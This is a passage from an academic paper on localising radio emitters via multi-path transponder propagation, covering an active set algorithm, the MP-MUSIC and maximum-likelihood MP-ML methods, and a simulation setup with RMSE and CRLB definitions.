{\mathbf{x}^{H}\Psi\mathbf{x}} & {= \mathbf{x}^{H}\mathbf{E}\left( \mathbf{p}_{e} \right)\mathbf{x} - \mathbf{x}^{H}\Phi\mathbf{x}.} \\
\end{aligned}$$
Since $\forall\mathbf{x} \in \mathbb{R}^{LN},\mathbf{x}^{H}\Phi\mathbf{x} = 0$, and substituting ([33](#FD33-sensors-18-00892){ref-type="disp-formula"}) into ([34](#FD34-sensors-18-00892){ref-type="disp-formula"}), we get $\mathbf{x}^{H}\Psi\mathbf{x} \geq 0$, and the objective function is Positive Semi-Definite (PSD). The optimization problem ([30](#FD30-sensors-18-00892){ref-type="disp-formula"}) is a convex quadratic programming with linear equality constraints and lower bounds. ☐
It is possible to find the global optimal solution for a convex quadratic programming \[[@B37-sensors-18-00892],[@B38-sensors-18-00892]\]. The interior-point algorithm or any Heuristic Searching Algorithm (HSA) can be adopted to solve the optimization problem with equality constraints and lower bounds. However, those algorithms apply numerical searching strategies with low efficiencies. We introduce a faster algorithm named the Active Set Algorithm (ASA) in this paper to obtain the global optimal solution base on some theoretical analysis.
### 3.2.3. Active Set Algorithm {#sec3dot2dot3-sensors-18-00892}
The first widely-used algorithm for solving a similar problem is the active set method published by Lawson and Hanson \[[@B34-sensors-18-00892],[@B39-sensors-18-00892]\]. They proposed an active set method to solve the Non-Negative Least Squares (NNLS).
*Active set \[[@B40-sensors-18-00892]\] In mathematical optimization, a problem is defined using an objective function to minimize or maximize and a set of constraints:* $$g_{1}\left( x \right) \geq 0,\cdots,g_{k}\left( x \right) \geq 0.$$
*Given a point $x$ in the feasible region, a constraint:* $$g_{i}\left( x \right) \geq 0,$$ *is called active at x if $g_{i}\left( x \right) = 0$ and inactive at x if $g_{i}\left( x \right) > 0$. The set of active ones is called the active set and denoted by $\left. \mathcal{A}\left( x \right) = \{ i \middle| g_{i}\left( x \right) = 0\} \right.$.*
We describe the active set method for solving the quadratic programs of the form ([30](#FD30-sensors-18-00892){ref-type="disp-formula"}) containing equality and inequality constraints based on the methods described in \[[@B34-sensors-18-00892],[@B39-sensors-18-00892]\].
Denote the optimal solution of ([30](#FD30-sensors-18-00892){ref-type="disp-formula"}) by $\hat{\mathbf{\alpha}}$. If the active set of the optimal solution $\mathcal{A}\left( \hat{\mathbf{\alpha}} \right)$ were known in advance, we could find the optimal solution $\hat{\mathbf{\alpha}}$ by applying techniques, such as the Lagrange multiplier method, for equality-constrained QP. The prior knowledge of the active set accelerates the algorithm effectively.
$\mathbf{\alpha}^{*} = {\lbrack\alpha_{1}^{*},\alpha_{2}^{*},\ldots,\alpha_{LN}^{*}\rbrack}^{T}$ represents the real, but unknown path attenuations. If the *n*-th receiver cannot receive the signal from the emitter, which is reflected by the *ℓ*-th transponder, $\alpha_{\ell n}^{*} = 0$, otherwise, $\alpha_{\ell n}^{*} > 0$. In most cases, we known the set $\left. \{ i \middle| \alpha_{i}^{*} = 0\} \right.$ in advance and have deleted the unconnected path in the model. without loss of generality, we set $\alpha_{i}^{*} > 0,i = 1,2,\ldots,LN$. Denote $\hat{\mathbf{\alpha}}$ as an estimation of $\mathbf{\alpha}^{*}$, that is $\hat{\mathbf{\alpha}} \approx \mathbf{\alpha}^{*}$. Denote $\hat{\mathbf{\alpha}} = \mathbf{\alpha}^{*} + \varepsilon$, where $\varepsilon$ is the estimation error vector of $\mathbf{\alpha}^{*}$. Since $\alpha_{i}^{*} > 0$, $i = 1,2,\ldots,LN$, we set the initial work set by $\mathcal{W}^{(0)} = \varnothing$.
The searching path of the active set algorithm is strictly in the feasible region. Choose a feasible solution as the initial point of the algorithm. Solve the QP with equality constraints in the work set, and get the optimal searching direction. if the searching direction is blocked by some constraints not in the work set, add the constraints, which block the searching path firstly, into the work set. Resolve the new QP with the updated work set, until the searching direction is not blocked by any constraints. The algorithm reaches a local optimum for the current work set. To get an even better solution, we drop one active constraint in the work set to relax the programming. If the objective function cannot be decreased for all constraints in the work set, we get the optimal solution of the original programming. Otherwise, drop the constraint that causes the fastest decrease.
The detail of the ASA is described in Section 1 of the Supplementary File. The spatial spectrum of an emitter is determined by substituting the $\hat{\mathbf{\alpha}}$ into the MUSIC cost function ([19](#FD19-sensors-18-00892){ref-type="disp-formula"}).
### 3.2.4. MP-MUSIC Algorithm {#sec3dot2dot4-sensors-18-00892}
The spatial spectrum of the emitter positions requires only a three-dimensional searching, and the size of $\mathbf{E}\left( \mathbf{p}_{e} \right)$ is $LN \times LN$, which is usually rather small. The detailed procedure of the MP-MUSIC algorithm is represented in Algorithm 1.
Algorithm 1:
MP-MUSIC algorithm.
The performance of the MP-MUSIC algorithm is determined by the estimation precision of $\hat{\mathbf{R}}\left( k \right)$. If the number of snapshots is not enough, neither the covariance matrix $\hat{\mathbf{R}}\left( k \right)$ nor the spatial spectrum $q\left( \mathbf{p}_{e} \right)$ can be estimated precisely.
In a time-sensitive positioning application, it is difficult to get enough snapshots to estimate $\hat{\mathbf{R}}\left( k \right)$. We develop a Maximum Likelihood method in the presence of Multi-path Propagation (MP-ML) to estimate the emitter positions directly.
4. MP-ML Method {#sec4-sensors-18-00892}
===============
The MP-ML method maximizes the conditional likelihood function of the received signals. The noise is assumed as Additive White Gaussian Noise (AWGN) with a known standard deviation $\sigma$,
4.1. Mathematical Model of MP-ML {#sec4dot1-sensors-18-00892}
--------------------------------
The likelihood function of the received signals is:$$P\left( \mathbf{r} \middle| \mathbf{\theta} \right) = \prod\limits_{k = 1}^{K}\frac{1}{\left| \pi\Sigma \right|}e^{- {\lbrack\mathbf{r}{(k)} - \mathbf{A}{(k)}\check{\mathbf{s}}{(k)}\rbrack}^{H}\Sigma^{- 1}{\lbrack\mathbf{r}{(k)} - \mathbf{A}{(k)}\check{\mathbf{s}}{(k)}\rbrack}},$$ where $\mathbf{r}$ is the observed data, $\Sigma$ is the covariance matrix of noises, which is defined in (6), and the unknown parameter vector $\mathbf{\theta} \triangleq {\lbrack\mathbf{p}_{e}^{T},\mathbf{\alpha}^{T},\mathbf{s}^{T}\rbrack}^{T}$ consists of:$$\begin{aligned}
\mathbf{p}_{e} & {\triangleq {\lbrack\mathbf{p}_{e}^{T}\left( 1 \right),\mathbf{p}_{e}^{T}\left( 2 \right),\ldots,\mathbf{p}_{e}^{T}\left( D \right)\rbrack}^{T},} \\
{\mathbf{p}_{e}\left( d \right)} & {\triangleq {\lbrack p_{ex}\left( d \right),p_{ey}\left( d \right),p_{ez}\left( d \right)\rbrack}^{T},} \\
\overline{\mathbf{\alpha}} & {\triangleq {\lbrack{\overline{\mathbf{\alpha}}}_{1}^{T},{\overline{\mathbf{\alpha}}}_{2}^{T},\ldots,{\overline{\mathbf{\alpha}}}_{N}^{T}\rbrack}^{T},} \\
{\overline{\mathbf{\alpha}}}_{n} & {\triangleq {\lbrack\alpha_{1n}^{T},\alpha_{2n}^{T},\ldots,\alpha_{Dn}^{T}\rbrack}^{T},} \\
\check{\mathbf{s}} & {\triangleq {\lbrack{\check{\mathbf{s}}}^{T}\left( 1 \right),{\check{\mathbf{s}}}^{T}\left( 2 \right),\ldots,{\check{\mathbf{s}}}^{T}\left( K \right)\rbrack}^{T},} \\
\end{aligned}$$ where $\mathbf{\alpha}_{dn}$ and $\check{\mathbf{s}}\left( k \right)$ have been defined in ([5](#FD5-sensors-18-00892){ref-type="disp-formula"}). The log-likelihood function of ([37](#FD37-sensors-18-00892){ref-type="disp-formula"}) is:$$L\left( \mathbf{\theta} \right) = - KMN\log{\pi\sigma^{2}} - \frac{1}{\sigma^{2}}\sum\limits_{k = 1}^{K}{\lbrack\mathbf{r}\left( k \right) - \mathbf{A}\left( k \right)\check{\mathbf{s}}\left( k \right)\rbrack}^{H}{\lbrack\mathbf{r}\left( k \right) - \mathbf{A}\left( k \right)\check{\mathbf{s}}\left( k \right)\rbrack}.$$
Remove the constant items, and get the modified cost function of MP-ML:$$\hat{\mathbf{\theta}} = \arg\min\overline{Q}\left( \mathbf{\theta} \right) = \sum\limits_{k = 1}^{K}{\lbrack\mathbf{r}\left( k \right) - \mathbf{A}\left( k \right)\check{\mathbf{s}}\left( k \right)\rbrack}^{H}{\lbrack\mathbf{r}\left( k \right) - \mathbf{A}\left( k \right)\check{\mathbf{s}}\left( k \right)\rbrack}.$$
The searching space dimension of ([40](#FD40-sensors-18-00892){ref-type="disp-formula"}) is $3D + DNL + DK$, and it is necessary to reduce the searching space dimension. For fixed attenuations $\mathbf{\alpha}$ and emitter position combination $\mathbf{p}_{e}$ in ([40](#FD40-sensors-18-00892){ref-type="disp-formula"}), the optimal estimation of the source signals at frequency $\omega_{k}$ is:$$\hat{\check{\mathbf{s}}}\left( k \right) = \mathbf{A}^{+}\left( k \right)\mathbf{r}\left( k \right),$$ where $\mathbf{A}^{+}\left( k \right) \triangleq {\lbrack\mathbf{A}^{H}\left( k \right)\mathbf{A}\left( k \right)\rbrack}^{- 1}\mathbf{A}^{H}\left( k \right)$ is the Moore--Penrose inverse of $\mathbf{A}\left( k \right)$. Substitute ([41](#FD41-sensors-18-00892){ref-type="disp-formula"}) into ([40](#FD40-sensors-18-00892){ref-type="disp-formula"}), $$\hat{\mathbf{\eta}} = \arg\min\overline{Q}\left( \mathbf{\eta} \right) = \sum\limits_{k = 1}^{K}{\lbrack\mathbf{r}\left( k \right) - \mathbf{P}_{\mathbf{A}}\left( k \right)\mathbf{r}\left( k \right)\rbrack}^{H}{\lbrack\mathbf{r}\left( k \right) - \mathbf{P}_{\mathbf{A}(k)}\mathbf{r}\left( k \right)\rbrack},$$ where $\mathbf{\eta} \triangleq {\lbrack\mathbf{p}_{e}^{T},{\overline{\mathbf{\alpha}}}^{T}\rbrack}^{T}$, $\overline{\mathbf{\alpha}} = \mathbf{\alpha}\mathbf{I}_{D} \triangleq {\lbrack\alpha_{1,1,1},\cdots,\alpha_{d,\ell,n},\cdots,\alpha_{DLN}\rbrack}^{T}$, $\mathbf{I}_{D}$ is a column vector of *D* ones. $\mathbf{P}_{\mathbf{A}}\left( k \right) = \mathbf{A}\left( k \right)\mathbf{A}^{+}\left( k \right)$ is the projection matrix of $\mathbf{A}\left( k \right)$. Expand ([42](#FD42-sensors-18-00892){ref-type="disp-formula"}):$$\begin{aligned}
{\overline{Q}\left( \mathbf{\eta} \right)} & {= \sum\limits_{k = 1}^{K}{\lbrack\mathbf{r}^{H}\left( k \right)\mathbf{r}\left( k \right) - \mathbf{r}^{H}\left( k \right)\mathbf{P}_{\mathbf{A}}^{H}\left( k \right)\mathbf{r}\left( k \right) - \mathbf{r}^{H}\left( k \right)\mathbf{P}_{\mathbf{A}}\left( k \right)\mathbf{r}\left( k \right) + \mathbf{r}^{H}\left( k \right)\mathbf{P}_{\mathbf{A}}^{H}\left( k \right)\mathbf{P}_{\mathbf{A}}\left( k \right)\mathbf{r}\left( k \right)\rbrack},} \\
\end{aligned}$$ and move the constant items $\mathbf{r}^{H}\left( k \right)\mathbf{r}\left( k \right)$. Applying the properties of the projection matrix $\mathbf{P}_{\mathbf{A}}\left( k \right) = \mathbf{P}_{\mathbf{A}}^{H}\left( k \right)$ and $\mathbf{P}_{\mathbf{A}}^{H}\left( k \right)\mathbf{P}_{\mathbf{A}}\left( k \right) = \mathbf{P}_{\mathbf{A}}\left( k \right)$, we get the modified programming of MP-ML:$$Q\left( \mathbf{\eta} \right) = - \sum\limits_{k = 0}^{K - 1}\mathbf{r}^{H}\left( k \right)\mathbf{P}_{\mathbf{A}}\left( k \right)\mathbf{r}\left( k \right),$$ $$\begin{array}{l}
{s.t.\left\{ \begin{array}{l}
{\mathbf{P}_{\mathbf{A}}\left( k \right) = \mathbf{A}\left( k,\mathbf{p}_{e} \right)\mathbf{A}^{+}\left( k,\mathbf{p}_{e} \right),} \\
{\mathbf{A}^{+}\left( k \right) = {\lbrack\mathbf{A}^{H}\left( k,\mathbf{p}_{e} \right)\mathbf{A}\left( k,\mathbf{p}_{e} \right)\rbrack}^{- 1}\mathbf{A}^{H}\left( k,\mathbf{p}_{e} \right),} \\
{\mathbf{A}\left( k,\mathbf{p}_{e} \right) = \Gamma\left( k,\mathbf{p}_{e} \right)\mathbf{\alpha},} \\
{\Gamma\left( k,\mathbf{p}_{e} \right) = \widetilde{\mathbf{A}}\left( k,\mathbf{p}_{e} \right)\mathbf{V}\left( k,\mathbf{p}_{e} \right),} \\
{\overline{\mathbf{\alpha}} = \mathbf{\alpha}\mathbf{I}_{D},} \\
{\overline{\mathbf{\alpha}} \in \mathbb{R}^{DLN},} \\
{\overline{\mathbf{\alpha}} \geq 0.} \\
\end{array} \right.} \\
\end{array}$$
There are two differences between our model and Bar-Shalom Ofer's model in \[[@B28-sensors-18-00892]\]. The first one is that only a single emitter and a single receiver were modeled in their work, but multiple emitters and multiple receivers are taken into consideration in our work. The second one is that there are complex path attenuations in \[[@B28-sensors-18-00892]\], but real non-negative path attenuations in our model.
The cost function in \[[@B28-sensors-18-00892]\] was modeled as:$$\max Q\left( \mathbf{\eta} \right) = - \sum\limits_{k = 1}^{K}\frac{\mathbf{\alpha}^{H}\mathbf{f}\left( k \right)\mathbf{f}^{H}\left( k \right)\mathbf{\alpha}}{\mathbf{\alpha}^{H}\mathbf{C}\left( k \right)\mathbf{\alpha}}.$$ where $\mathbf{f}\left( k \right) \triangleq \Gamma^{H}\left( k,\mathbf{p}_{e} \right)\mathbf{r}\left( k \right)$, $\mathbf{C}\left( k \right) \triangleq \Gamma^{H}\left( k,\mathbf{p}_{e} \right)\Gamma\left( k,\mathbf{p}_{e} \right)$. [Section 3.1.1](#sec3dot1dot1-sensors-18-00892){ref-type="sec"} has discussed that $\Gamma\left( k,\mathbf{p}_{e} \right)$ may be singular, and $\mathbf{C}\left( k \right)$ may be singular, as well. When $\mathbf{C}\left( k \right)$ is singular, there is an $\mathbf{\alpha}$ that satisfies $\mathbf{\alpha}^{H}\mathbf{C}\left( k \right)\mathbf{\alpha} = 0$, and the cost function $Q\left( \mathbf{\eta} \right)$ reaches the peak. However, the candidate emitter position is not the true emitter position. If $\Gamma\left( k,\mathbf{p}_{e} \right)$ is near singular, $\mathbf{f}\left( k \right) = \Gamma^{H}\left( k,\mathbf{p}_{e} \right)\mathbf{r}\left( k \right)$ is near singular, as well. The numerator and denominator of the cost function $Q\left( \mathbf{\eta} \right)$ both tend to zero, and the value of the cost function turns out to be unstable. The noise level will seriously affect the value of the cost function in this case, and the model cannot find the emitter accurately.
The searching space dimension of ([44](#FD44-sensors-18-00892){ref-type="disp-formula"}) has been reduced to $3D + DNL$, but it is still difficult to solve such a high dimensional non-linear programming. We propose an iterative algorithm in this paper to get the estimation of path attenuations to reduce the time consumption of the MP-ML.
4.2. Remove Imaginary Items in the Programming {#sec4dot2-sensors-18-00892}
----------------------------------------------
Substitute the constraints into the objective function of ([44](#FD44-sensors-18-00892){ref-type="disp-formula"}), $$\begin{array}{cl}
{Q\left( \mathbf{\eta} \right)} & {= - \sum\limits_{k = 1}^{K}\mathbf{r}^{H}\left( k \right)\Gamma\left( k,\mathbf{p}_{e} \right)\mathbf{\alpha}{\lbrack\mathbf{\alpha}^{H}\Gamma^{H}\left( k,\mathbf{p}_{e} \right)\Gamma\left( k \right)\mathbf{\alpha}\rbrack}^{- 1}\mathbf{\alpha}^{H}\Gamma^{H}\left( k,\mathbf{p}_{e} \right)\mathbf{r}\left( k \right)} \\
& {= - \sum\limits_{k = 1}^{K}\mathbf{f}^{H}\left( k \right)\mathbf{\alpha}{\lbrack\mathbf{\alpha}^{H}\mathbf{C}\left( k \right)\mathbf{\alpha}\rbrack}^{- 1}\mathbf{\alpha}^{H}\mathbf{f}\left( k \right),} \\
\end{array}$$ where $\mathbf{f}\left( k \right) \triangleq \Gamma^{H}\left( k,\mathbf{p}_{e} \right)\mathbf{r}\left( k \right)$, $\mathbf{C}\left( k \right) \triangleq \Gamma^{H}\left( k,\mathbf{p}_{e} \right)\Gamma\left( k,\mathbf{p}_{e} \right)$.
Henk A. L. Kiers studied a similar convex optimization problem in \[[@B41-sensors-18-00892]\]. Ofer Bar-Shalom and Anthony J. Weiss study the complexity form of the optimization in \[[@B28-sensors-18-00892]\] and its application in \[[@B29-sensors-18-00892]\]. The programming in our work has the complex $\mathbf{f}\left( k \right)$ and $\mathbf{C}\left( k \right)$, but the decision making variables $\mathbf{\alpha}$ are real non-negative values. We modify the iterative process in \[[@B28-sensors-18-00892],[@B41-sensors-18-00892]\] to satisfy the real non-negative constraints in our work.
The cost function ([46](#FD46-sensors-18-00892){ref-type="disp-formula"}) can be rewritten by:$$\begin{array}{cl}
{Q\left( \mathbf{\eta} \right)} & {= - \sum\limits_{k = 0}^{K - 1}\mathbf{f}^{H}\left( k \right)\mathbf{\alpha}{\lbrack\mathbf{\alpha}^{H}\mathbf{C}\left( k \right)\mathbf{\alpha}\rbrack}^{- 1}\mathbf{\alpha}^{H}\mathbf{f}\left( k \right)} \\
& {= - \sum\limits_{k = 0}^{K - 1}{tr}\left\{ {\mathbf{\alpha}^{H}\mathbf{f}\left( k \right)\mathbf{f}^{H}\left( k \right)\mathbf{\alpha}{\lbrack\mathbf{\alpha}^{H}\mathbf{C}\left( k \right)\mathbf{\alpha}\rbrack}^{- 1}} \right\},} \\
\end{array}$$ where ${tr}\left( \cdot \right)$ is the trace operator of a matrix. Since $\mathbf{C}\left( k \right)$ and $\mathbf{f}\left( k \right)\mathbf{f}^{H}\left( k \right)$ are Hermitian metrics, $\forall\mathbf{\alpha}$ satisfy:$$\begin{aligned}
{\mathbf{\alpha}^{H}\mathbf{C}\left( k \right)\mathbf{\alpha}} & {= \mathbf{\alpha}^{H}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha},} \\
{\mathbf{\alpha}^{H}\mathbf{f}\left( k \right)\mathbf{f}^{H}\left( k \right)\mathbf{\alpha}} & {= \mathbf{\alpha}^{H}\overline{\mathbf{f}}\left( k \right){\overline{\mathbf{f}}}^{H}\left( k \right)\mathbf{\alpha},} \\
\end{aligned}$$ where $\overline{\mathbf{C}}\left( k \right) \triangleq {Re}{\{\mathbf{C}\left( k \right)\}}$, $\overline{\mathbf{f}}\left( k \right) = \mathbf{u}\left( k \right)\mathbf{s}^{\frac{1}{2}}\left( k \right)$, and $\mathbf{u}\left( k \right)\mathbf{s}\left( k \right)\mathbf{v}^{H}\left( k \right)$ is the SVD decomposition of ${Re}\{\mathbf{f}\left( k \right)\mathbf{f}^{H}\left( k \right)\}$. The complex matrices $\mathbf{f}\left( k \right)$ and $\mathbf{C}\left( k \right)$ are replaced by the matrices $\overline{\mathbf{f}}\left( k \right)$ and $\overline{\mathbf{C}}\left( k \right)$ with real number elements:$$\begin{array}{cl}
{Q\left( \mathbf{\eta} \right)} & {= - \sum\limits_{k = 1}^{K}{tr}\left\{ {\mathbf{\alpha}^{H}\mathbf{f}\left( k \right)\mathbf{f}^{H}\left( k \right)\mathbf{\alpha}{\lbrack\mathbf{\alpha}^{H}\mathbf{C}\left( k \right)\mathbf{\alpha}\rbrack}^{- 1}} \right\}} \\
& {= - \sum\limits_{k = 1}^{K}{\overline{\mathbf{f}}}^{H}\left( k \right)\mathbf{\alpha}{\lbrack\mathbf{\alpha}^{H}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha}\rbrack}^{- 1}\mathbf{\alpha}^{H}\overline{\mathbf{f}}\left( k \right).} \\
\end{array}$$
The complex non-linear programming with real constraints ([46](#FD46-sensors-18-00892){ref-type="disp-formula"}) is simplified to be a real non-linear programming (49).
4.3. An Iterative Algorithm for Solving MP-ML {#sec4dot3-sensors-18-00892}
---------------------------------------------
We introduce a theorem firstly and then give an iterative algorithm for solving the programming (49).
*${\overline{\mathbf{\alpha}}}_{i}$ is a feasible solution of* (49)*, and a better solution of* (49) *is obtained by solving the following programming:* $${\overline{\mathbf{\alpha}}}_{i + 1} = \arg\min\limits_{\overline{\mathbf{\alpha}}}G\left( \mathbf{\alpha}_{i},\overline{\mathbf{\alpha}},\mathbf{p}_{e} \right) = \left| \middle| \mathbf{Y} \right. - {\overline{\mathbf{\alpha}}}^{H}\mathbf{X}{||}^{2} - \mathbf{Z},$$ $$\begin{array}{r}
{s.t.\mspace{720mu}\overline{\mathbf{\alpha}} \geq 0.} \\
\end{array}$$ *where:* $$\begin{aligned}
\mathbf{F} & {\triangleq \sum\limits_{k = 1}^{K}\overline{\mathbf{f}}\left( k \right)^{T}\mathbf{W}\left( k \right)^{T},} \\
\mathbf{Y} & {\triangleq \mathbf{FU}^{- 1},} \\
\mathbf{X} & {\triangleq \mathbf{U}^{T},} \\
\mathbf{Z} & {\triangleq \mathbf{YY}^{T},} \\
\mathbf{U} & {= \overline{\mathbf{U}}\Sigma^{\frac{1}{2}},} \\
{\mathbf{W}\left( k \right)} & {\triangleq \mathbf{I}_{N} \otimes {diag}{\{\mathbf{w}\left( k \right)\}} \otimes \mathbf{I}_{L},} \\
{\mathbf{w}\left( k \right)} & {\triangleq \overline{\mathbf{f}}\left( k \right)^{T}\mathbf{\alpha}_{i}{\lbrack\mathbf{\alpha}_{i}^{T}\overline{\mathbf{C}}\left( k \right)\mathbf{\alpha}_{i}\rbrack}^{- 1},} \\
\end{aligned}$$ *$\mathbf{I}_{L}$ is an identify matrix with a size of $L \times L$ and $\mathbf{I}_{N}$ is an identify matrix with a size of $N \times N$. $\overline{\mathbf{U}}$ is the Singular Value Decomposition (SVD) of the following item:* $$\begin{aligned}
{\sum\limits_{k = 1}^{K}\mathbf{W}\left( k \right)\overline{\mathbf{C}}\left( k \right)\mathbf{W}^{T}\left( k \right)} & {= {\overline{\mathbf{U}}}^{T}\Sigma\overline{\mathbf{U}}.} \\
\end{aligned}$$
The proof of Theorem 2 is given in [Appendix B](#app2-sensors-18-00892){ref-type="app"}. The programming ([50](#FD50-sensors-18-00892){ref-type="disp-formula"}) is a linear least squares with bound constraints, and the Trust-Region-Reflective (TRR) algorithm is adopted to solve the programming. The detail of TRR is described in \[[@B42-sensors-18-00892],[@B43-sensors-18-00892],[@B44-sensors-18-00892]\].
Following Theorem 2 and (A11) in the [Appendix B](#app2-sensors-18-00892){ref-type="app"}:$$Q\left( \mathbf{\eta}_{\mathbf{i} + 1} \right) = H\left( {\overline{\mathbf{\alpha}}}_{i + 1} \right) \leq G\left( \mathbf{\alpha}_{i},{\overline{\mathbf{\alpha}}}_{i + 1},\mathbf{p}_{e} \right) \leq G\left( \mathbf{\alpha}_{i},{\overline{\mathbf{\alpha}}}_{i},\mathbf{p}_{e} \right) = H\left( {\overline{\mathbf{\alpha}}}_{i} \right) = Q\left( \mathbf{\eta}_{i} \right).$$
We get an iterative method to obtain a better solution than the previous step. Denote the initial estimation of the unknown channel attenuations by $\mathbf{\alpha}_{0}$. The solution of ([50](#FD50-sensors-18-00892){ref-type="disp-formula"}) gives a better estimation of the unknown parameter vector due to the inequality of ([51](#FD51-sensors-18-00892){ref-type="disp-formula"}). Furthermore, we get a better estimation ${\overline{\mathbf{\alpha}}}_{2}$, so that $H\left( {\overline{\mathbf{\alpha}}}_{2} \right) \leq G\left( \mathbf{\alpha}_{1},{\overline{\mathbf{\alpha}}}_{2},\mathbf{p}_{e} \right) \leq G\left( \mathbf{\alpha}_{1},{\overline{\mathbf{\alpha}}}_{1},\mathbf{p}_{e} \right) = H\left( {\overline{\mathbf{\alpha}}}_{1} \right)$. Thus, $H\left( {\overline{\mathbf{\alpha}}}_{2} \right) \leq H\left( {\overline{\mathbf{\alpha}}}_{1} \right) \leq H\left( {\overline{\mathbf{\alpha}}}_{0} \right)$. The detail of the iterative procedure is shown in the Algorithm 2 in the supplementary file.
4.4. Getting the Initial Value {#sec4dot4-sensors-18-00892}
------------------------------
The performance of the iterative algorithm is determined by the initial value ${\overline{\mathbf{\alpha}}}_{0}$. The path attenuations from the MP-MUSIC algorithm are used as the initial value of the MP-ML.
The initial path attenuations of the emitter *d* are denoted by ${\overline{\mathbf{\alpha}}}_{0}\left( d \right)$, and they are estimated by the MP-MUSIC in Algorithm 1.
For a fixed emitter position combination $\mathbf{p}_{e}$, evaluate the MP-MUSIC algorithm to get the initial path attenuations ${\hat{\mathbf{\alpha}}}_{d}$ of the position $\mathbf{p}_{e}\left( d \right)$, $d = 1,2,\ldots,D$.
Reshape $\hat{\mathbf{\alpha}} = {\lbrack{\hat{\mathbf{\alpha}}}_{1}^{T},{\hat{\mathbf{\alpha}}}_{2}^{T},,\ldots,{\hat{\mathbf{\alpha}}}_{D}^{T}\rbrack}^{T}$ to get the initial attenuations vector:$${\overline{\mathbf{\alpha}}}_{0} = {\lbrack{\overline{\mathbf{\alpha}}}_{1}^{T},{\overline{\mathbf{\alpha}}}_{2}^{T},\ldots,{\overline{\mathbf{\alpha}}}_{D}^{T}\rbrack}^{T}$$ where:$$\begin{aligned}
{\hat{\mathbf{\alpha}}}_{d} & {= {\lbrack{\hat{\mathbf{\alpha}}}_{d1}^{T},{\hat{\mathbf{\alpha}}}_{d2}^{T},\ldots,{\hat{\mathbf{\alpha}}}_{dN}^{T}\rbrack}^{T},} \\
{\hat{\mathbf{\alpha}}}_{dn} & {= {\lbrack{\hat{\alpha}}_{dn1},{\hat{\alpha}}_{dn2},,\ldots,{\hat{\alpha}}_{dnL}\rbrack}^{T},} \\
\end{aligned}$$ and ${\hat{\alpha}}_{dn\ell}$ is estimated from MP-MUSIC.
4.5. MP-ML Algorithm {#sec4dot5-sensors-18-00892}
--------------------
Algorithm 2 in the Supplementary File optimizes the parameters $\mathbf{\alpha}$ for a fixed emitter positions combination $\mathbf{p}_{e}$. The searching dimension is reduced to $3D$ further. It is possible to solve a $3D$ dimensional nonlinear programming. The MP-ML algorithm is proposed in Algorithm 2
Define the Region of Interest (RoI) by $\mathbf{p}$, and apply the MP-MUSIC algorithm described in Algorithm 1 to get an initial solution $\mathbf{p}_{e} = {\lbrack\mathbf{p}_{e}^{T}\left( 1 \right),\mathbf{p}_{e}^{T}\left( 2 \right),\ldots,\mathbf{p}_{e}^{T}\left( D \right)\rbrack}^{T}$ and the corresponding path attenuations $\mathbf{\alpha}_{0}$. Adopt Algorithm 2 in the Supplementary File to get the optimal estimations of attenuations $\mathbf{\alpha}$ and the cost function of emitter positions $\mathbf{p}_{e}$. Design a suitable searching path $\mathbf{p}_{e}^{i}$, $i = 1,2,\ldots$, such as the Gaussian method, and get the optimal emitter position estimations.
Algorithm 2:
MP-ML algorithm.
5. Numerical Examples {#sec5-sensors-18-00892}
=====================
Some numerical examples are given to demonstrate the performances of the above algorithms.
5.1. Scenario Setting and Performance Index Definition {#sec5dot1-sensors-18-00892}
------------------------------------------------------
In numerical simulations, three emitters are located at $\lbrack 0,0,0\rbrack$, $\lbrack 50,0,0\rbrack$ and $\lbrack 0,50,0\rbrack$, and four receiving arrays are located at $\lbrack 2200, - 2100,0\rbrack$, $\lbrack 3300,600,0\rbrack$, $\lbrack 3100, - 700,0\rbrack$ and $\lbrack 2300,2500,0\rbrack$. There are two different layouts of transponders in the simulations. The first one is the basic scenario, and the second one is designed to test the performances when a transponder is close to the anther. There are four transponders located at $\lbrack - 1210,100,200\rbrack$,$\lbrack 100,1120,200\rbrack$, $\left( - 100, - 1040,200 \right)$ and $\lbrack 970,160,200\rbrack$ in Scenario A (see [Figure 3](#sensors-18-00892-f003){ref-type="fig"}a) ([Figure 3](#sensors-18-00892-f003){ref-type="fig"} is a top view of the system layout. Height information is not indicated in the figure.). We move the third transponder to $\lbrack 100,1100,200\rbrack$ in Scenario B (see [Figure 3](#sensors-18-00892-f003){ref-type="fig"}b). All the positions are measured in km.
Each receiving array is a Uniform Circular Array (UCA) with eleven antennas and a radius of 30 m. The bandwidth is 8 kHz. The carrier frequency is 10 MHz. The simulation results are based on 200 Monte Carlo runs to gather enough statistics. The source signal of each emitter and the path attenuation coefficients are generated randomly once for all the Monte Carlo runs, while the additive noises are regenerated at each run. The complex-valued signal frequency coefficients are subject to ${\parallel {\check{\mathbf{s}}}_{d} \parallel}_{F}^{2} = 1$. The path attenuation coefficients are drawn from a uniform distribution between zero and one. The SNR is defined in terms of "post-processing SNR", which is given by:$$\begin{aligned}
{SNR} & {\triangleq \frac{E\left\{ {\sum_{k = 1}^{K}{\parallel \mathbf{A}\left( k \right)\check{\mathbf{s}}\left( k \right) \parallel}_{F}^{2}} \right\}}{K\sigma^{2}}.} \\
\end{aligned}$$
Root-Mean-Squared Error (RMSE) of the estimated position is adopted as the performance index of the algorithms. RMSE is given by:$${RMSE}\left( \mathbf{p}_{e} \right) \triangleq \sqrt{\frac{\sum_{i = 1}^{N_{s}}{\parallel {\hat{\mathbf{p}}}_{e} - \mathbf{p}_{e} \parallel}_{F}^{2}}{N_{s}D}},$$ where $N_{s}$ is the number of Monte Carlo runs, *D* is the number of emitters, $\mathbf{p}_{e}$ are the real emitter positions and ${\hat{\mathbf{p}}}_{e}$ are the estimated emitter positions
A scalar quantity of the CRLB matrix corresponding to RMSE is defined as:$$\overline{CRLB}\left( \mathbf{p}_{e} \right) \triangleq \sqrt{\frac{\lambda_{\max}{\lbrack{CRLB}\left( \mathbf{p}_{e} \right)\rbrack}}{D}},$$ where $\lambda_{\max}{\lbrack{CRLB}\left( \mathbf{p}_{e} \right)\rbrack}$ is the maximal eigenvalue of ${CRLB}\left( \mathbf{p}_{e} \right)$. The computation of the CRLB matrix is presented in Section 3 of the Supplementary File \[[@B45-sensors-18-00892],[@B46-sensors-18-00892],[@B47-sensors-18-00892]\].
5.2. Performances of the MP-MUSIC Method {#sec5dot2-sensors-18-00892}
----------------------------------------
